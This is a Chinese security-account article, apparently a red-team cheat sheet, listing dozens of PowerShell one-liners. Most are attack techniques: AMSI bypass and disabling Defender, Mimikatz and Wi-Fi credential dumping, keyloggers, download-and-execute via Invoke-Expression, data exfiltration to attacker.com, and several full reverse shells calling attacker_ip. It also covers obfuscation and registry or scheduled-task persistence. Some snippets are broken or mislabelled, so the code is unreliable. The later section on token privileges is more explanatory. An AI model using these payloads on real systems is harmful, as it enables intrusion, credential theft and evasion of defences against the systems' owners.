点击上方[蓝字],关注我们
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。
文章正文
执行策略绕过
powershell -ep bypass
枚举系统信息
Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *
此命令检索有关操作系统的详细信息,包括版本、内部版本和系统体系结构。
提取网络配置
Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer
此命令收集网络配置详细信息,例如接口别名、IPv4 和 IPv6 地址以及 DNS 服务器信息。
列出正在运行的进程及其详细信息
Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending
列出系统上当前正在运行的所有进程,按 CPU 使用率排序,并包括进程名称、ID 和 CPU 时间。
访问事件日志以查找异常情况
Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'}
在安全事件日志中搜索条目类型为“FailureAudit”的条目,这可以指示与安全相关的异常。
扫描开放端口
1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }
扫描本机前1024个端口,检查开放端口,可用于识别潜在漏洞。
检索存储的凭据
$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -Property UserName, Password
提示输入用户凭据,然后显示用户名和密码,这对于凭据收集很有用。
执行远程命令
Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)
在目标 PC 上远程执行命令,在本例中为列出进程。需要目标系统的凭据。
从 URL 下载并执行脚本
$url = 'http://example.com/script.ps1'; Invoke-Expression (New-Object Net.WebClient).DownloadString($url)
从指定 URL 下载并执行 PowerShell 脚本。对于执行远程负载很有用。
绕过脚本执行的执行策略
Set-ExecutionPolicy Bypass -Scope Process -Force; .script.ps1
暂时绕过脚本执行策略来运行 PowerShell 脚本,从而允许执行未签名的脚本。
枚举域用户
Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate
检索所有域用户的列表,包括他们的姓名、帐户状态和上次登录日期。
捕获击键
$path = 'C:tempkeystrokes.txt'; Add-Type -AssemblyName System.Windows.Forms; $listener = New-Object System.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::Run($listener); $listener.Keys | Out-File -FilePath $path
捕获击键并将其记录到文件中,该文件可用于收集密码等敏感信息。
提取 Wi-Fi 配置文件和密码
netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_ -replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }
提取系统上存储的 Wi-Fi 网络配置文件及其关联密码。
监控文件系统更改
$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }
在文件系统上设置监视器来跟踪和记录任何更改(例如文件创建),这对于检测可疑活动非常有用。
创建反向 Shell
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535...
与指定的攻击者控制的机器建立反向 shell 连接,允许远程命令执行。
禁用 Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
禁用 Windows Defender 的实时监控功能,这有助于逃避检测。
提取浏览器保存的密码
Invoke-WebBrowserPasswordDump | Out-File -FilePath C:tempbrowser_passwords.txt
提取网络浏览器中保存的密码并将其保存到文件中,这对于凭据收集很有用。
进行网络嗅探
$adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:tempnetwork_capture.etl'; Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name 'Session1'; Stop-NetEventSession -Name 'Session1' after 60
设置网络捕获会话来嗅探数据包,可以分析敏感数据或进行网络故障排除。
绕过 AMSI(反恶意软件扫描接口)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
绕过 PowerShell 中的反恶意软件扫描接口 (AMSI),允许在不被检测到的情况下执行潜在的恶意脚本。
使用 Mimikatz 提取系统机密
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File -FilePath C:templogonpasswords.txt
使用 Mimikatz 从系统内存中提取登录密码和其他敏感数据。
字符串混淆
$originalString = 'SensitiveCommand'; $obfuscatedString = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($originalString)); $decodedString = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($obfuscatedString)); Invoke-Expression $decodedString
使用 Base64 编码混淆字符串(例如命令)以逃避安全工具的检测。
命令别名
$alias = 'Get-Dir'; Set-Alias -Name $alias -Value Get-ChildItem; Invoke-Expression $alias
为 PowerShell 命令创建别名以掩盖其真实目的,这对于逃避脚本分析很有用。
变量名混淆
$o = 'Get'; $b = 'Process'; $cmd = $o + '-' + $b; Invoke-Expression $cmd
通过将命令拆分成多个部分并重新组装来混淆命令,使安全工具难以识别该命令。
文件路径混淆
$path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz')); Invoke-Item $path
使用 Base64 编码混淆文件路径,使检测恶意文件路径或命令变得更加困难。
使用备用数据流进行规避
$content = 'Invoke-Mimikatz'; $file = 'C:tempnormal.txt'; $stream = 'C:tempnormal.txt:hidden'; Set-Content -Path $file -Value 'This is a normal file'; Add-Content -Path $stream -Value $content; Get-Content -Path $stream
将恶意命令或数据隐藏在文件的备用数据流中,这是一种经常用于逃避检测的方法。
绕过脚本执行策略
$policy = Get-ExecutionPolicy; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process; # Run your script here; Set-ExecutionPolicy -ExecutionPolicy $policy -Scope Process
暂时更改脚本执行策略以允许运行未经授权的脚本,然后将其恢复为原始设置。
内存中脚本执行
$code = [System.IO.File]::ReadAllText('C:tempscript.ps1'); Invoke-Expression $code
完全在内存中执行 PowerShell 脚本,而不写入磁盘,有助于逃避基于文件的检测机制。
带反射的动态调用
$assembly = [Reflection.Assembly]::LoadWithPartialName('System.Management'); $type = $assembly.GetType('System.Management.ManagementObjectSearcher'); $constructor = $type.GetConstructor(@([string])); $instance = $constructor.Invoke(@('SELECT * FROM Win32_Process')); $method = $type.GetMethod('Get'); $result = $method.Invoke($instance, @())
使用反射动态调用系统管理功能,允许更隐蔽地执行命令。
编码命令执行
$encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-Process')); powershell.exe -EncodedCommand $encodedCmd
执行 Base64 编码的 PowerShell 命令,这可以帮助绕过简单的命令行日志记录和分析工具。
利用 PowerShell 运行空间进行规避
$runspace = [runspacefactory]::CreateRunspace(); $runspace.Open(); $pipeline = $runspace.CreatePipeline(); $pipeline.Commands.AddScript('Get-Process'); $results = $pipeline.Invoke(); $runspace.Close(); $results
在单独的运行空间中执行 PowerShell 命令,将它们与主 PowerShell 环境隔离并逃避某些形式的检测。
环境变量混淆
$env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariable
将命令存储在环境变量中然后执行它,这可以帮助隐藏命令以防止偶然观察和某些安全工具。
函数重命名以规避
Function MyGetProc { Get-Process }; MyGetProc
将 PowerShell 函数重命名为不太显眼的名称,这有助于逃避脚本分析和监控工具。
使用 PowerShell 类进行代码隐藏
class HiddenCode { [string] Run() { return 'Hidden command executed' } }; $instance = [HiddenCode]::new(); $instance.Run()
定义自定义 PowerShell 类来封装和隐藏恶意代码,使安全工具更难以检测。
持久性的注册表项用法
$path = 'HKCU:SoftwareMyApp'; New-Item -Path $path -Force; New-ItemProperty -Path $path -Name 'Config' -Value 'EncodedPayload' -PropertyType String -Force; $regValue = Get-ItemProperty -Path $path -Name 'Config'; Invoke-Expression $regValue.Config
使用 Windows 注册表存储并稍后执行编码的有效负载,有助于持久性和规避。
带外数据泄露
$data = Get-Process | ConvertTo-Json; Invoke-RestMethod -Uri 'http://attacker.com/data' -Method Post -Body $data
使用 Web 请求将数据从目标网络中窃取,这可以绕过传统的数据丢失防护机制。
使用 PowerShell 隐秘访问 WMI
$query = 'SELECT * FROM Win32_Process'; Get-WmiObject -Query $query
利用 WMI(Windows 管理规范)执行系统查询,这比直接的 PowerShell 命令不太显眼。
持久化计划任务
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'
创建计划任务来执行 PowerShell 命令,即使在系统重新启动后也确保持久性和执行。
使用PowerShell与网络安静交互
$client = New-Object Net.Sockets.TcpClient('attacker_ip', 443); $stream = $client.GetStream(); # Send and receive data
建立网络连接以实现安静的数据传输,有助于在数据泄露或命令和控制操作期间保持隐秘性。
用于命令混淆的 Base64 编码
$command = 'Get-Process'; $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)); powershell.exe -EncodedCommand $encodedCommand
以 Base64 编码 PowerShell 命令以对其进行混淆,使其不易被安全工具检测到。
利用 PowerShell 添加类型执行代码
Add-Type -TypeDefinition 'using System; public class MyClass { public static void Run() { Console.WriteLine("Executed"); } }'; [MyClass]::Run()
使用 PowerShell 在自定义 .NET 类中定义和执行代码,这可用于隐藏看似良性代码中的恶意活动。
从 Windows 凭据管理器中提取凭据
$credman = New-Object -TypeName PSCredentialManager.Credential; $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object -Property UserName, Password
此命令利用 PSCredentialManager 模块从 Windows 凭据管理器中提取存储的凭据,重点关注通用凭据。
从不安全的文件中检索密码
Select-String -Path C:Users*Documents*.txt -Pattern 'password' -CaseSensitive
在所有用户的文档文件夹内的所有文本文件中搜索术语“密码”,这可能会泄露不安全存储的密码。
从 Windows 服务转储凭据
Get-WmiObject win32_service | Where-Object {$_.StartName -like '*@*'} | Select-Object Name, StartName, DisplayName
列出在特定用户帐户下运行的 Windows 服务,有时可能在服务配置中包含凭据。
提取保存的 RDP 凭据
cmdkey /list | Select-String 'Target: TERMSRV' | ForEach-Object { cmdkey /delete:($_ -split ' ')[-1] }
列出并删除已保存的远程桌面协议 (RDP) 凭据,这些凭据可用于访问远程系统。
检索浏览器 Cookie 以防止凭证被盗
$env:USERPROFILE + 'AppDataLocalGoogleChromeUser DataDefaultCookies' | Get-Item
访问 Chrome 浏览器的 Cookies 文件,该文件可能包含可能被用于会话劫持的会话 cookie。
从 IIS 应用程序池中提取凭据
Import-Module WebAdministration; Get-IISAppPool | Select-Object Name, ProcessModel
检索 IIS 应用程序池的配置详细信息,包括可能包含凭据的服务帐户。
从配置文件中读取凭据
Get-ChildItem -Path C: -Include *.config -Recurse | Select-String -Pattern 'password='
在 C: 驱动器上的所有 .config 文件中搜索包含“password=”的字符串,这可能会泄露硬编码的凭据。
从计划任务中转储凭证
Get-ScheduledTask | Where-Object {$_.Principal.UserId -notlike 'S-1-5-18'} | Select-Object TaskName, TaskPath, Principal
列出配置为在特定用户帐户下运行的计划任务,可能会泄露用于任务执行的凭据。
从用户目录中提取 SSH 密钥
Get-ChildItem -Path C:Users*.sshid_rsa -Recurse
在所有用户的.ssh目录中搜索RSA私钥,可用于对SSH服务器进行未授权访问。
从数据库连接字符串检索凭证
Select-String -Path C:inetpubwwwroot*.config -Pattern 'connectionString' -CaseSensitive
扫描 Web 应用程序配置文件中的数据库连接字符串,其中通常包含数据库访问凭据。
简单的PowerShell反向Shell
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()
与指定的攻击者控制的机器建立基本的反向 shell 连接。这允许攻击者远程执行命令。
基于 HTTP 的 PowerShell 反向 Shell
while($true) { try { $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close() } catch { Start-Sleep -Seconds 10 } }
此脚本创建一个更具弹性的反向 shell,如果连接丢失,它会每 10 秒尝试重新连接一次。它使用 HTTP 进行通信。
基于 WebSocket 的 PowerShell 反向 Shell
$ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSocket; $uri = New-Object System.Uri("ws://attacker_ip:attacker_port"); $ClientWebSocket.ConnectAsync($uri, $null).Result; $buffer = New-Object Byte[] 1024; while ($ClientWebSocket.State -eq 'Open') { $received = $ClientWebSocket.ReceiveAsync($buffer, $null).Result; $command = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $received.Count); $output = iex $command 2>&1 | Out-String; $bytesToSend = [System.Text.Encoding]::ASCII.GetBytes($output); $ClientWebSocket.SendAsync($bytesToSend, 'Binary', $true, $null).Wait() }
使用WebSockets建立反向shell,可以更加隐蔽并绕过一些网络监控工具。
基于 DNS 的 PowerShell 反向 Shell
function Invoke-DNSReverseShell { param([string]$attacker_ip, [int]$attacker_port) $client = New-Object System.Net.Sockets.TCPClient($attacker_ip, $attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $encodedSendback = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($sendback)); nslookup $encodedSendback $attacker_ip; $stream.Flush()}; $client.Close() }
该脚本使用 DNS 请求来窃取数据,使反向 shell 流量显示为 DNS 查询,这样可疑性较低且更难以检测。
加密的PowerShell反向Shell
$ErrorActionPreference = 'SilentlyContinue'; $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); $sslStream = New-Object System.Net.Security.SslStream($stream, $false, {$true} ); $sslStream.AuthenticateAsClient('attacker_ip'); $writer = New-Object System.IO.StreamWriter($sslStream); $reader = New-Object System.IO.StreamReader($sslStream); while($true) { $writer.WriteLine('PS ' + (pwd).Path + '> '); $writer.Flush(); $command = $reader.ReadLine(); if($command -eq 'exit') { break; }; $output = iex $command 2>&1 | Out-String; $writer.WriteLine($output); $writer.Flush() }; $client.Close()
使用 SSL 创建加密的反向 shell 来保护通信通道,使网络安全措施更难以检查流量。
调用 Windows API 进行键盘记录
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class KeyLogger { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); } "@ while ($true) { Start-Sleep -Milliseconds 100 for ($i = 8; $i -le 190; $i++) { if ([KeyLogger]::GetAsyncKeyState($i) -eq -32767) { $Key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i) Write-Host $Key } } }
该脚本使用 Windows API 调用来检查键盘上每个键的状态,从而有效地记录击键。它可用于捕获用户输入。
使用 Windows API 访问物理内存
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class MemoryReader { [DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); } "@ $process = Get-Process -Name 'process_name' $handle = $process.Handle $buffer = New-Object byte[] 1024 $bytesRead = 0 [MemoryReader]::ReadProcessMemory($handle, [IntPtr]0x00000000, $buffer, $buffer.Length, [ref]$bytesRead)
此 PowerShell 脚本使用ReadProcessMemory
Windows API 中的函数从进程中读取指定量的内存。它对于从正在运行的进程中提取信息非常有用。
使用 Windows API 进行屏幕捕获
Add-Type -TypeDefinition @" using System; using System.Drawing; using System.Runtime.InteropServices; public class ScreenCapture { [DllImport("user32.dll")] public static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] public static extern IntPtr GetWindowDC(IntPtr hWnd); [DllImport("gdi32.dll")] public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hObjectSource, int nXSrc, int nYSrc, int dwRop); } "@ $desktop = [ScreenCapture]::GetDesktopWindow() $dc = [ScreenCapture]::GetWindowDC($desktop) # Further code to perform screen capture goes here
该脚本演示了如何使用 Windows API 调用来捕获屏幕。它可用于监视或信息收集。
通过 API 操作 Windows 服务
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class ServiceManager { [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr OpenSCManager(string lpMachineName, string lpSCDB, int scParameter); [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr CreateService(IntPtr SC_HANDLE, string lpSvcName, string lpDisplayName, int dwDesiredAccess, int dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, IntPtr lpdwTagId, string lpDependencies, string lp, string lpPassword); [DllImport("advapi32.dll", SetLastError = true)] public static extern bool StartService(IntPtr SVHANDLE, int dwNumServiceArgs, string lpServiceArgVectors); } "@ $scManagerHandle = [ServiceManager]::OpenSCManager(null, null, 0xF003F) # Further code to create, modify, or start services goes here
该脚本使用 Windows API 调用与 Windows 服务交互,例如创建、启动或修改它们。这可用于持久性或权限升级。
用于剪贴板访问的 Windows API
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; using System.Text; public class ClipboardAPI { [DllImport("user32.dll")] public static extern bool OpenClipboard(IntPtr hWndNewOwner); [DllImport("user32.dll")] public static extern bool CloseClipboard(); [DllImport("user32.dll")] public static extern IntPtr GetClipboardData(uint uFormat); [DllImport("kernel32.dll")] public static extern IntPtr GlobalLock(IntPtr hMem); [DllImport("kernel32.dll")] public static extern bool GlobalUnlock(IntPtr hMem); [DllImport("kernel32.dll")] public static extern int GlobalSize(IntPtr hMem); } "@ [ClipboardAPI]::OpenClipboard([IntPtr]::Zero) $clipboardData = [ClipboardAPI]::GetClipboardData(13) # CF_TEXT format $gLock = [ClipboardAPI]::GlobalLock($clipboardData) $size = [ClipboardAPI]::GlobalSize($clipboardData) $buffer = New-Object byte[] $size [System.Runtime.InteropServices.Marshal]::Copy($gLock, $buffer, 0, $size) [ClipboardAPI]::GlobalUnlock($gLock) [ClipboardAPI]::CloseClipboard() [System.Text.Encoding]::Default.GetString($buffer)
该脚本演示了如何使用 API 调用访问和操作 Windows 剪贴板。它可用于读取或修改剪贴板内容以进行信息收集或数据操作。
查找可写和可执行内存
$proc = Get-NtProcess -ProcessId $pid -Access QueryLimitedInformation Get-NtVirtualMemory -Process $proc | Where-Object { $_.Protect -band "ExecuteReadWrite" }
该脚本用于识别进程内可写和可执行的内存区域。此类内存区域可能表明存在恶意活动,例如注入 shellcode。该脚本首先打开一个具有有限查询访问权限的进程,然后枚举虚拟内存区域,过滤那些受ExecuteReadWrite
保护的区域。
描述:此技术可用于识别进程中潜在的恶意内存使用情况,这可能是代码注入或其他形式的运行时操纵的迹象。
查找共享节句柄
$ss = Get-NtHandle -ObjectType Section -GroupByAddress | Where-Object ShareCount -eq 2 $mask = Get-NtAccessMask -SectionAccess MapWrite $ss = $ss | Where-Object { Test-NtAccessMask $_.AccessIntersection $mask } foreach($s in $ss) { $count = ($s.ProcessIds | Where-Object { Test-NtProcess -ProcessId $_ -Access DupHandle }).Count if ($count -eq 1) { $s.Handles | Select ProcessId, ProcessName, Handle } }
该脚本标识在两个进程之间共享的可写Section 对象。它首先按内核对象地址对句柄进行分组,然后过滤恰好在两个进程之间共享的句柄。它检查MapWrite
访问权限,然后确定该部分是否在特权进程和低特权进程之间共享。
描述:此技术对于识别可能在权限提升攻击中被利用的共享资源非常有用。共享可写部分可以作为从低特权进程操纵高特权进程的向量。
修改映射部分
$sect = $handle.GetObject() $map = Add-NtSection -Section $sect -Protection ReadWrite $random = Get-RandomByte -Size $map.Length Write-NtVirtualMemory -Mapping $map -Data $random
该脚本演示了如何修改内存的映射部分。它将句柄复制到当前进程中,将其映射为读写,然后将随机数据写入内存区域。
描述:该技术可用于测试共享内存部分的稳定性和安全性。通过修改共享部分的内容,您可能会影响共享同一内存的另一个进程的行为,这可能会导致安全漏洞。
进程创建和命令行解析
$proc = New-Win32Process -CommandLine "notepad test.txt"
该命令使用命令创建一个新进程New-Win32Process
,该命令内部调用 Win32 CreateProcess
API。命令行字符串指定要运行的可执行文件和任何参数。APICreateProcess
解析此命令行以查找可执行文件,处理可执行文件名称不包含.exe
.
描述:此技术对于理解 Windows 中如何创建进程以及如何解析命令行参数至关重要。它对于红队成员可能需要使用特定参数或在特定上下文中执行流程的场景特别相关。
命令行解析的安全影响
$proc = New-Win32Process -CommandLine "notepad test.txt" -ApplicationName "c:windowsnotepad.exe"
通过指定该ApplicationName
属性,您可以避免与 的默认命令行解析行为相关的安全风险New-Win32Process
。此方法可确保将可执行路径逐字传递给新进程,从而防止特权较低的用户可能影响进程创建路径的潜在劫持情况。
说明:此命令是创建进程的更安全的替代方案,特别是在具有更高权限的进程创建新进程的情况下。它降低了路径劫持和恶意可执行文件意外执行的风险。
对非可执行文件使用 Shell API
Start-Process "document.txt" -Verb "print"
此命令Start-Process
与指定的动词一起使用来处理不可执行的文件,例如文本文档。Start-Process
内部使用 shell API,例如ShellExecuteEx
,它可以通过从注册表查找适当的处理程序来处理各种文件类型。
描述:当您需要以模仿用户操作(例如打开、编辑或打印文件)的方式与非可执行文件交互时,此技术非常有用。它利用 shell 的能力来确定用于给定文件类型的正确应用程序。
服务控制管理器(SCM) 概述SCM 是Windows 中的一个关键组件,负责管理系统服务。这些服务包括:
-
1. **远程过程调用子系统 (RPCSS)**:管理远程过程调用端点。
-
2. DCOM 服务器进程启动器:启动 COM 服务器进程。
-
3. 任务计划程序:安排在特定时间执行的操作。
-
4. Windows Installer:管理程序安装。
-
5. Windows 更新:自动检查并安装更新。
-
6. 应用程序信息:促进用户帐户控制 (UAC) 在管理员和非管理员用户之间切换。
描述:了解 SCM 对于红队人员操纵或分析以更高权限运行的服务至关重要,并可能利用它们来获得更高的访问权限或持久性。
使用PowerShell查询服务状态
PS> Get-Win32Service
此命令使用Get-Win32Service
,它是 PowerShell 中内置Get-Service
命令的更全面的替代方案。它提供有关每个服务的详细信息,包括其状态(正在运行或已停止)和进程 ID。
描述:此命令对于侦察和监视目标系统上的服务状态非常有用,允许红队人员识别潜在目标或了解系统的配置。
查找导入特定 API 的可执行文件
PS> $imps = ls "$env:WinDir*.exe" | ForEach-Object { Get-Win32ModuleImport -Path $_.FullName } PS> $imps | Where-Object Names -Contains "CreateProcessW" | Select-Object ModulePath
该脚本识别导入CreateProcessW
API 的可执行文件,这对于查找潜在的利用目标或了解某些应用程序如何与系统进程交互至关重要。
描述:此技术对于将大量可执行文件缩小到与特定漏洞或行为(例如进程创建)相关的可执行文件特别有用。
查找隐藏的注册表项或值
PS> ls NtKeyUser:SOFTWARE -Recurse | Where-Object Name -Match "`0"
此命令用于查找隐藏的注册表项,特别是那些名称中含有 NUL 字符的注册表项,恶意软件经常使用这些注册表项来逃避检测。
描述:此方法对于揭露复杂恶意软件使用的隐秘技术或进行取证分析至关重要。它展示了 PowerShell 在访问通过标准工具不可见的低级系统详细信息方面的强大功能。
权限概述Windows 中的权限被授予用户以绕过某些安全检查。它们对于红队成员来说至关重要,因为它们可以被用来提高访问权限。权限可以启用或禁用,它们的状态对其有效性至关重要。
使用 Get-NtTokenPrivilege
PS> Get-NtTokenPrivilege $token
此命令列出令牌的权限,显示其名称、LUID 以及它们是启用还是禁用。这对于评估用户或进程的能力很有用。
修改令牌权限
-
• 启用/禁用权限:使用
Enable-NtTokenPrivilege
和Disable-NtTokenPrivilege
,可以切换权限。这对于动态修改访问权限至关重要。 -
• 删除权限:
Remove-NtTokenPrivilege
完全删除令牌的权限,防止其重新启用。
权限检查
PS> Test-NtTokenPrivilege SeChangeNotifyPrivilege
此命令检查是否启用了特定权限。在尝试执行需要权限的操作之前,验证权限的操作状态至关重要。
主要特权
-
•
SeChangeNotifyPrivilege
:允许绕过遍历检查。 -
•
SeAssignPrimaryTokenPrivilege
和SeImpersonatePrivilege
:绕过令牌分配和模拟检查。 -
•
SeBackupPrivilege
和SeRestorePrivilege
:绕过备份和恢复操作的访问检查。 -
•
SeDebugPrivilege
:绕过打开进程或线程对象的访问检查。 -
• 其他特权如
SeCreateTokenPrivilege
、SeTcbPrivilege
、SeLoadDriverPrivilege
、SeTakeOwnershipPrivilege
和SeRelabelPrivilege
提供各种高级功能。
受限令牌受限令牌限制对资源的访问并用于沙箱机制。它们是使用NtFilterToken
系统调用或CreateRestrictedToken
API 创建的。
受限代币类型
-
1. 普通受限令牌:根据指定的受限 SID 限制访问。
-
2. 写限制令牌:在 Windows XP SP2 中引入,这些令牌阻止写访问,但允许读和执行访问,使它们成为更简单但安全性较低的沙箱。
创建和分析受限令牌
-
• 创建受限令牌:与、 、
Get-NtToken
等标志一起使用,或指定受限 SID。DisableMaxPrivileges``WriteRestricted
-
• 受限令牌的属性
Restricted
:检查和等属性WriteRestricted
揭示了令牌的性质和限制。
用例和限制受限令牌对于创建安全环境(例如网络浏览器中的沙箱)至关重要,但它们也有局限性。例如,高度受限的令牌可能无法访问必要的资源,从而限制了其实际使用。
用户帐户控制绕过和令牌操纵
# Inspecting Executable Manifests
PS> ls c:windowssystem32*.exe | Get-ExecutableManifest
# Manual Elevation of Process
PS> Start-Process notepad -Verb runas
# Accessing and Displaying Linked Tokens
# For Full Token
PS> Use-NtObject($token = Get-NtToken -Linked) {
Format-NtToken $token -Group -Privilege -Integrity -Information
}
# For Limited Token
PS> Use-NtObject($token = Get-NtToken) {
Format-NtToken $token -Group -Privilege -Integrity -Information
}
描述
-
• 检查可执行文件清单:此命令列出 SYSTEM32 目录中的所有可执行文件并检索其清单信息,其中包括它们是否设置为自动提升、需要管理员权限或作为调用程序运行。
-
• 手动提升进程:此命令演示如何手动提升进程(例如记事本)以使用 PowerShell 以管理权限运行。将出现 UAC 提示进行确认。
-
• 访问和显示链接令牌:这些命令用于检查 Windows 中链接令牌的属性。第一个命令访问完整令牌(已提升),显示其组、权限和完整性级别。第二个命令对有限令牌(未提升)执行相同的操作。这对于理解 Windows 如何管理用户权限以及如何操纵或检查这些权限以进行安全测试至关重要。
-
• 完整令牌具有较高的权限和较高的完整性级别,表示完全的管理权限。
-
• 受限令牌具有受限制的特权、中等完整性级别,并被标记为“IsFiltered”,表示它已被过滤以删除更高的特权。
技术交流
原文始发于微信公众号(Z2O安全攻防):Powershell Tips & Tricks
原文始发于微信公众号(Z2O安全攻防):Powershell Tips & Tricks
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论